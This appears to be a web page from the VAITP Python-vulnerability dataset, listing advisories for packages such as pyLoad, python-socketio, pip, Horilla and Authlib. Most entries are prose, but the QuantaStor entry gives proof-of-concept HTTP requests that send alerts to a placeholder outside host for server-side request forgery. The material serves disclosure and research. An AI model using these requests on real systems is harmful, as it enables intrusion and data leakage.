Python Social Auth allows account compromise via improper email association.
Python Social Auth is a social authentication/registration mechanism. In versions prior to 5.6.0, upon authentication, the user could be associated by e-mail even if the `associate_by_email` pipeline was not included. This could lead to account compromise when a third-party authentication service does not validate provided e-mail addresses or doesn't require unique e-mail addresses. Version 5.6.0 contains a patch. As a workaround, review the authentication service policy on e-mail addresses; many will not allow exploiting this vulnerability.
pyLoad's web interface is vulnerable to XSS due to insufficient validation.
pyLoad is a free and open-source download manager written in Python. In versions prior to 0.5.0b3.dev91, pyLoad web interface contained insufficient input validation in both the Captcha script endpoint and the Click'N'Load (CNL) Blueprint. This flaw allowed untrusted user input to be processed unsafely, which could be exploited by an attacker to inject arbitrary content into the web UI or manipulate request handling. The vulnerability could lead to client-side code execution (XSS) or other unintended behaviors when a malicious payload is submitted. user-supplied parameters from HTTP requests were not adequately validated or sanitized before being passed into the application logic and response generation. This allowed crafted input to alter the expected execution flow. CNL (Click'N'Load) blueprint exposed unsafe handling of untrusted parameters in HTTP requests. The application did not consistently enforce input validation or encoding, making it possible for an attacker to craft malicious requests. Version 0.5.0b3.dev91 contains a patch for the issue.
python-socketio: RCE via pickle deserialization in compromised message queues.
python-socketio is a Python implementation of the Socket.IO realtime client and server. A remote code execution vulnerability in python-socketio versions prior to 5.14.0 allows attackers to execute arbitrary Python code through malicious pickle deserialization in multi-server deployments on which the attacker previously gained access to the message queue that the servers use for internal communications. When Socket.IO servers are configured to use a message queue backend such as Redis for inter-server communication, messages sent between the servers are encoded using the `pickle` Python module. When a server receives one of these messages through the message queue, it assumes it is trusted and immediately deserializes it. The vulnerability stems from deserialization of messages using Python's `pickle.loads()` function. Having previously obtained access to the message queue, the attacker can send a python-socketio server a crafted pickle payload that executes arbitrary code during deserialization via Python's `__reduce__` method. This vulnerability only affects deployments with a compromised message queue. The attack can lead to the attacker executing random code in the context of, and with the privileges of a Socket.IO server process. Single-server systems that do not use a message queue, and multi-server systems with a secure message queue are not vulnerable. In addition to making sure standard security practices are followed in the deployment of the message queue, users of the python-socketio package can upgrade to version 5.14.0 or newer, which remove the `pickle` module and use the much safer JSON encoding for inter-server messaging.
Insecure deserialization in DataChain via environment variables allows RCE.
DataChain is a Python-based AI-data warehouse for transforming and analyzing unstructured data. Versions 0.34.1 and below allow for deseriaization of untrusted data because of the way the DataChain library reads serialized objects from environment variables (such as DATACHAIN__METASTORE and DATACHAIN__WAREHOUSE) in the loader.py module. An attacker with the ability to set these environment variables can trigger code execution when the application loads. This issue is fixed in version 0.34.2.
XSS in NiceGUI's ui.html() component due to unsanitized user input.
NiceGUI is a Python-based UI framework. Versions 2.24.2 and below are at risk for Cross-Site Scripting (XSS) when developers render unescaped user input into the DOM using ui.html(). NiceGUI did not enforce HTML or JavaScript sanitization, so applications that directly combine components like ui.input() with ui.html() or ui.chat_message with HTML content without escaping may allow attackers to execute arbitrary JavaScript in the userโs browser. Applications that do not pass untrusted input into ui.html() are not affected. This issue is fixed in version 3.0.0.
Pyfory unsafe deserialization via pickle fallback allows remote code execution.
Deserialization of untrusted data inย python in pyforyย versions 0.12.0 through 0.12.2, or theย legacyย pyfury versions fromย 0.1.0 through 0.10.3: allows arbitrary code execution. An application is vulnerable if it reads pyfory serialized data from untrusted sources.ย An attacker can craft a data stream that selects pickle-fallback serializer during deserialization, leading to the execution of `pickle.loads`, which isย vulnerable toย remote code execution. Users are recommended to upgrade to pyfory version 0.12.3 or later, which has removed pickle fallback serializer and thus fixes this issue.
pip's tar extraction allows path traversal via symbolic links.
When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.
Horilla 1.3.0 has an authenticated RCE via unsafe eval() on a query param.
Horilla is a free and open source Human Resource Management System (HRMS). An authenticated Remote Code Execution (RCE) vulnerability exists in Horilla 1.3.0 due to the unsafe use of Pythonโs eval() function on a user-controlled query parameter in the project_bulk_archive view. This allows privileged users (e.g., administrators) to execute arbitrary system commands on the server. While having Djangoโs DEBUG=True makes exploitation visibly easier by returning command output in the HTTP response, this is not required. The vulnerability can still be exploited in DEBUG=False mode by using blind payloads such as a reverse shell, leading to full remote code execution. This issue has been patched in version 1.3.1.
Authlib JWS validation accepts tokens with unknown critical headers.
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.4, Authlibโs JWS verification accepts tokens that declare unknown critical header parameters (crit), violating RFC 7515 โmustโunderstandโ semantics. An attacker can craft a signed token with a critical header (for example, bork or cnf) that strict verifiers reject but Authlib accepts. In mixedโlanguage fleets, this enables splitโbrain verification and can lead to policy bypass, replay, or privilege escalation. This issue has been patched in version 1.6.4.
Authenticated administrator can configure alerts to trigger a POST-based SSRF.
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { โ ### Python FLASK stuff #### โ'endpoint': 'index', โ 'method': 'POST', โ 'cookies': ImmutableMultiDict([]), โ ### END Python FLASK stuff #### โ 'data': b'{ โโ"attachments": [ โโโ{ โโโโ"fallback": "[122] test / test.", โโโโ"color": "#aa2222", โโโโ"title": "[122] test", โโโโ"text": "test", โโโโ"fields": [ ย โโโโโ{ ย ย โโโโโโ"title": "Alert Severity", ย ย โโโโโโ"value": "CRITICAL", ย ย โโโโโโ"short": false ย โโโโโ}, ย { ย โโโโโโ"title": "Appliance", ย ย โโโโโโ"value": "quantastor (https://<HOSTNAME>)", ย ย โโโโโโ"short": true ย โโโโโ}, ย { ย ย โโโโโโ"title": "System / Driver / Kernel Ver", ย ย โโโโโโ"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", ย ย โโโโโโ"short": false ย โโโโโ}, ย { ย ย โโโโโโ"title": "System Startup", ย ย โโโโโโ"value": "Fri Aug ย 6 16-02-55 2021", ย ย โโโโโโ"short": true ย โโโโโ }, ย { ย ย โโโโโโ"title": "SSID", ย ย โโโโโโ"value": "f4823762-1dd1-1333-47a0-6238c474a7e7", ย ย โโโโโโ"short": true ย โโโโโ}, โโโโ], โโโโ"footer": "QuantaStor Call-home Alert", โโโโ"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", โโโโ"ts": 1628461774 โโโ} โโ], โโ"mrkdwn":true โ}', โ#### FLASK REQUEST STUFF ##### โ'headers': { โโ'Host': '<redacted>', โโ'User-Agent': 'curl/7.58.0', โโ'Accept': '*/*', โโ'Content-Type': 'application/json', โโ'Content-Length': '790' โ}, โ'args': ImmutableMultiDict([]), โ'form': ImmutableMultiDict([]), โ'remote_addr': '217.103.63.173', โ'path': '/payload/58', โ'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
